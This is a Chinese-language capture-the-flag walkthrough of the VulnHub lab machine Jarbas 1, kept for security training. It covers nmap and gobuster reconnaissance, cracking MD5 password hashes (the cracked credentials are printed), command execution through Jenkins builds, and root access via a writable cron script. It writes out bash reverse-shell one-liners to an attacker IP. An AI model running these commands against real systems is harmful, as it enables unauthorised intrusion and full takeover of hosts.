Jarbas: 1的安装
//下载地址:https://www.vulnhub.com/entry/jarbas-1,232/
下载完成以后解压,用VMware打开
考察点:
1.nmap的利用和使用
2.目录枚举
3.CMS的利用
4.Linux中的提权
步骤一:使用nmap来进行信息收集,确定攻击面。
1.1 这里说个坑,我第一次使用nmap扫的时候没有把全部的服务扫出来,导致我思路不全,后面重新扫的时候才扫出来。所以我建议每次扫描的时候,同一个参数建议多扫几次。
//nmap探测存活主机 sudo nmap -sn 192.168.0.0/24 // -sn:参数的作用是执行快速扫描(快速ping探测)
//nmap 探测端口和服务 sudo nmap -sT -sV -O 192.168.0.169 //-sT:表示使用TCP SYN扫描 //-sV:表示进行服务版本检测 //-O:用于OS(操作系统)检测
//别忘记UDP的方式去探测,说不定有意想不到的收获 //nmap 探测端口和服务 sudo nmap -sU -p22,80,3306,8080 192.168.0.169 //-sU:使用UDP方式去探测
//使用nmap的漏洞探测脚本去简单检查一下 sudo nmap --script=vuln -p22,80,3306,8080 192.168.0.169 //--script:加载脚本 //vuln:漏洞检测脚本模块
1.2对nmap收集到的信息进行一个权重划分,有22,80,3306,8080,一般来说ssh都是放到最后考虑的,重点肯定是对80,8080进行重点考虑
//在浏览器中输入:http://192.168.0.169
//在浏览器中输入:http://192.168.0.168:8080
可以看到在http://192.168.0.168:8080中有个Jenkins和一个老头的logo,说明这个系统使用的是Jenkins这个CMS,这时候我们就可以去百度,google或者各大论坛中去搜集可以利用的已公开的漏洞。
//可以参考如下文章 //讲Jenkins:https://www.jianshu.com/p/5f671aca2b5a //漏洞的利用:https://www.freebuf.com/articles/web/242764.html
步骤二:使用目录扫描工具进行目录扫描
我先使用的dirb,但是效果不是很好,遇到效果不好的时候可以增加参数,改变参数和更换字典进行尝试
然后我使用的是gobuster
sudo gobuster dir -u 192.168.0.169 -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -x html,php //dir:表示进行目录爆破 //-u:指定url //-w:指定字典文件 //-x:指定扩展名过滤
扫描出来一个access.html这个有重大嫌疑,经过访问得到了如下的结果,很明显是MD5加密的,如果看不出来可以使用kali的hash-identifier进行判断
//hash-identifier的使用 sudo hash-identifier "5978a63b4654c73c60fa24f836386d87" // ""内的放入你要识别的加密字符串
对这三组进行解密,解密工具可以搜索引擎搜索:这三个就足以满足你了
解出来的结果:
tiago:5978a63b4654c73c60fa24f836386d87:italia99 trindade:f463f63616cb3f1e81ce46b39f882fd5:marianna eder:9b38e2b1e8b12f426b0d208a7ab6cb98:vipsu
然后就可以去尝试了,最终是在使用账号为eder,密码为:vipsu成功登录;在使账号密码的时候,如果都不正常很有可能就是账号密码的组合被打乱了,很坑,可以使用burp suit进行交叉爆破一下
步骤三:CMS系统漏洞的利用
仔细分析和通过网上的资料可知这个管理界面的漏洞存在于可以自己构建一个系统,可以执行系统命令
既然可以执行任意命令,可以考虑建立一个bash反弹连接
/bin/bash -i >& /dev/tcp/192.168.0.154/4444 0>&1
在kali上开启监听
点击立即构建,发现成功上线
步骤四:Linux提权
从收集的信息来看,这不是一个完全交互的shell,而且权限很低,所以我们要想办法提权
查看一下任务计划,发现一个用root身份执行的任务:每五分钟执行执行CleaningScript.sh这个脚本;思考一番觉得我们可以修改这个脚本来触发我们的命令。
echo "/bin/bash >& /dev/tcp/192.168.0.154/4445 0>&1" >>/etc/script/CleaningScript.sh //写入一个bash并追加到CleaningScript.sh这个脚本里面
开启一个监听
经过漫长的等待(最久五分钟),成功上线,而且是root用户
成功拿到flag
总结:
1.nmap的使用,熟悉参数的时候,牢记扫描的步骤
2.在面对一个网页的时候,要去通过各种方式去收集信息,比如目录扫描,看看是否存在隐藏目录和敏感文件的泄露
目录扫描工具的使用:dirb,gobuster。
使用过程中发现结果差强人意的话,可以多尝试尝试,比如改一改参数,换一个字典等
3.对CMS系统要熟悉,识别出来是什么CMS就要想到如何去利用,可以多去浏览器上搜搜,或者各大论坛,问问身边的大佬等
这个靶机使用的是Jenkins:是一款开源 CI&CD 软件,用于自动化各种任务,包括构建、测试和部署软件。
4.Linux的提权,这里使用的是cron提权
cron提权:前提是存在一个执行危险脚本的计划任务,并且这个任务计划执行的脚本可以被飞root权限用户修改覆盖,并可以正常执行任务计划